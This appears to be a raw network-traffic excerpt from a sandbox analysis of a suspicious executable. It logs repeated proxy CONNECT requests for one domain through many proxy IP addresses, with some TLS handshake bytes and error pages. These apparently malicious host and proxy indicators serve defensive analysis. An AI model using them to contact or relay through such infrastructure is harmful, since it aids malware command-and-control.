604	192.168.2.11	52233	43.153.64.66	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.322201967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.11	51959	72.210.252.137	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.323436022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.11	52235	43.153.64.66	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.323767900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.11	52240	43.153.64.66	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.325468063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.11	52243	43.153.64.66	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.327214003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.11	52096	172.67.182.48	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.327218056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.481636047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
610	192.168.2.11	51932	18.228.198.164	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.334333897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.660232067 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:21.672455072 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c 7e 8d 33 09 ad 79 7f b5 42 3b 88 fd 33 e3 36 fb c8 4f c0 d6 96 5a a0 ed fb 8b a4 d0 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\~3yB;36OZ*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:22.000303984 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 6c cf 14 19 c7 f5 7e 61 7a de 27 74 84 53 a3 52 a2 7f d5 ea 75 55 b2 02 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9l~az'tSRuUDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311145350Z260311145350Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:22.003556967 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 a7 ec f4 3a 5d 2c d2 cf 3f 06 71 35 df dd 5e 18 25 11 d8 ca d8 78 99 93 fd 05 2e 58 40 da 0c 11 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 54 0c 96 12 df 66 93 54 c7 19 91 67 ee fe c5 22 ca 14 72 af aa Data Ascii: %! :],?q5^%x.X@(TfTg"r6"A]
Mar 11, 2024 16:42:22.333746910 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 17 2e 2c a2 d9 61 b1 34 35 37 dd 7e d8 ab 7b 1d ba b6 fc a0 a3 55 71 fd cc 10 b5 4f 7e e5 b6 90 e9 5d 3c 6b 94 89 4c 87 Data Ascii: (.,a457~{UqO~]<kL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
611	192.168.2.11	51229	132.148.167.243	48298	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.338661909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.438635111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.475626945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.510561943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.516660929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.579149961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.581505060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
612	192.168.2.11	52038	146.19.106.194	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.345411062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.985768080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.689194918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.985757113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.689059973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376542091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.985621929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.173487902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.422835112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
613	192.168.2.11	51886	202.162.219.10	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.349098921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
614	192.168.2.11	51899	120.78.191.68	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.349701881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.699451923 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
615	192.168.2.11	51911	143.64.8.21	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.350518942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
616	192.168.2.11	51991	190.6.56.133	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.422072887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.507889986 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
617	192.168.2.11	52026	74.119.147.209	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.422189951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
618	192.168.2.11	51826	93.171.220.229	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.422760963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
619	192.168.2.11	51963	198.44.255.3	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.425201893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
620	192.168.2.11	51973	185.103.101.39	10051	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.425510883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.145672083 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
621	192.168.2.11	49838	5.252.23.220	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.425515890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.487068892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673324108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.688905954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.704123020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
622	192.168.2.11	51897	38.54.16.97	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.427917004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.522866964 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
623	192.168.2.11	51921	212.220.13.98	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.428087950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

